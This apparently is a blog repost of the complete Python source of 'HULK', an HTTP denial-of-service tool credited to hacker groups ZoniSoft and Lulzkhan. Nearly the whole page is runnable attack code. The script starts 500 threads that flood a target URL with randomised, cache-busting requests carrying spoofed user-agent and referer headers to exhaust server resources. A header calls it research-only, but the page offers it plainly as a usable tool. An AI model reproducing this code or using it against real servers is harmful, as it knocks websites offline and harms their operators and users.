HulkDdos.py Source Code by ZoniSoft & Lulzkhan !!!

  1. # Infi-Zeal Technologies
  2. # Regards,
  3. # Hardeep Singh
  4.  
  5. # ----------------------------------------------------------------------------------------------
  6. # HULK - HTTP Unbearable Load King
  7. #
  8. # this tool is a dos tool that is meant to put heavy load on HTTP servers in order to bring them
  9. # to their knees by exhausting the resource pool, its is meant for research purposes only
  10. # and any malicious usage of this tool is prohibited.
  11. #
  12. # author :  Barry Shteiman , version 1.0
  13. #TeamZoniSoft  <3  & LulzKhan 
  14. # ----------------------------------------------------------------------------------------------
  15. import urllib2
  16. import sys
  17. import threading
  18. import random
  19. import re
  20.  
  21. #global params
  22. url=''
  23. host=''
  24. headers_useragents=[]
  25. headers_referers=[]
  26. request_counter=0
  27. flag=0
  28. safe=0
  29.  
  30. def inc_counter():
  31.         global request_counter
  32.         request_counter+=1
  33.  
  34. def set_flag(val):
  35.         global flag
  36.         flag=val
  37.  
  38. def set_safe():
  39.         global safe
  40.         safe=1
  41.        
  42. # generates a user agent array
  43. def useragent_list():
  44.         global headers_useragents
  45.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  46.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  47.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  48.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  49.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  50.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  51.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  52.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  53.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  54.         headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  55.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  56.         headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  57.         return(headers_useragents)
  58.  
  59. # generates a referer array
  60. def referer_list():
  61.         global headers_referers
  62.         headers_referers.append('http://www.google.com/?q=')
  63.         headers_referers.append('http://www.usatoday.com/search/results?q=')
  64.         headers_referers.append('http://engadget.search.aol.com/search?q=')
  65.         headers_referers.append('http://' + host + '/')
  66.         return(headers_referers)
  67.        
  68. #builds random ascii string
  69. def buildblock(size):
  70.         out_str = ''
  71.         for i in range(0, size):
  72.                 a = random.randint(65, 90)
  73.                 out_str += chr(a)
  74.         return(out_str)
  75.  
  76. def usage():
  77.         print '---------------------------------------------------'
  78.         print 'USAGE: python hulk.py <url>'
  79.         print 'you can add "safe" after url, to autoshut after dos'
  80.         print '---------------------------------------------------'
  81.  
  82.        
  83. #http request
  84. def httpcall(url):
  85.         useragent_list()
  86.         referer_list()
  87.         code=0
  88.         if url.count("?")>0:
  89.                 param_joiner="&"
  90.         else:
  91.                 param_joiner="?"
  92.         request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
  93.         request.add_header('User-Agent', random.choice(headers_useragents))
  94.         request.add_header('Cache-Control', 'no-cache')
  95.         request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
  96.         request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10)))
  97.         request.add_header('Keep-Alive', random.randint(110,120))
  98.         request.add_header('Connection', 'keep-alive')
  99.         request.add_header('Host',host)
  100.         try:
  101.                         urllib2.urlopen(request)
  102.         except urllib2.HTTPError, e:
  103.                         #print e.code
  104.                         set_flag(1)
  105.                         print 'Response Code 500'
  106.                         code=500
  107.         except urllib2.URLError, e:
  108.                         #print e.reason
  109.                         sys.exit()
  110.         else:
  111.                         inc_counter()
  112.                         urllib2.urlopen(request)
  113.         return(code)           
  114.  
  115.        
  116. #http caller thread
  117. class HTTPThread(threading.Thread):
  118.         def run(self):
  119.                 try:
  120.                         while flag<2:
  121.                                 code=httpcall(url)
  122.                                 if (code==500) & (safe==1):
  123.                                         set_flag(2)
  124.                 except Exception, ex:
  125.                         pass
  126.  
  127. # monitors http threads and counts requests
  128. class MonitorThread(threading.Thread):
  129.         def run(self):
  130.                 previous=request_counter
  131.                 while flag==0:
  132.                         if (previous+100<request_counter) & (previous<>request_counter):
  133.                                 print "%d Requests Sent" % (request_counter)
  134.                                 previous=request_counter
  135.                 if flag==2:
  136.                         print "\n-- HULK Attack Finished --"
  137.  
  138. #execute
  139. if len(sys.argv) < 2:
  140.         usage()
  141.         sys.exit()
  142. else:
  143.         if sys.argv[1]=="help":
  144.                 usage()
  145.                 sys.exit()
  146.         else:
  147.                 print "-- HULK Attack Started --"
  148.                 if len(sys.argv)== 3:
  149.                         if sys.argv[2]=="safe":
  150.                                 set_safe()
  151.                 url = sys.argv[1]
  152.                 if url.count("/")==2:
  153.                         url = url + "/"
  154.                 m = re.search('http\://([^/]*)/?.*', url)
  155.                 host = m.group(1)
  156.                 for i in range(500):
  157.                         t = HTTPThread()
  158.                         t.start()
  159.                 t = MonitorThread()
  160.                 t.start()
Tag : Source Code
0 Komentar untuk " HulkDdos.py Source Code by ZoniSoft & Lulzkhan !!!"

Back To Top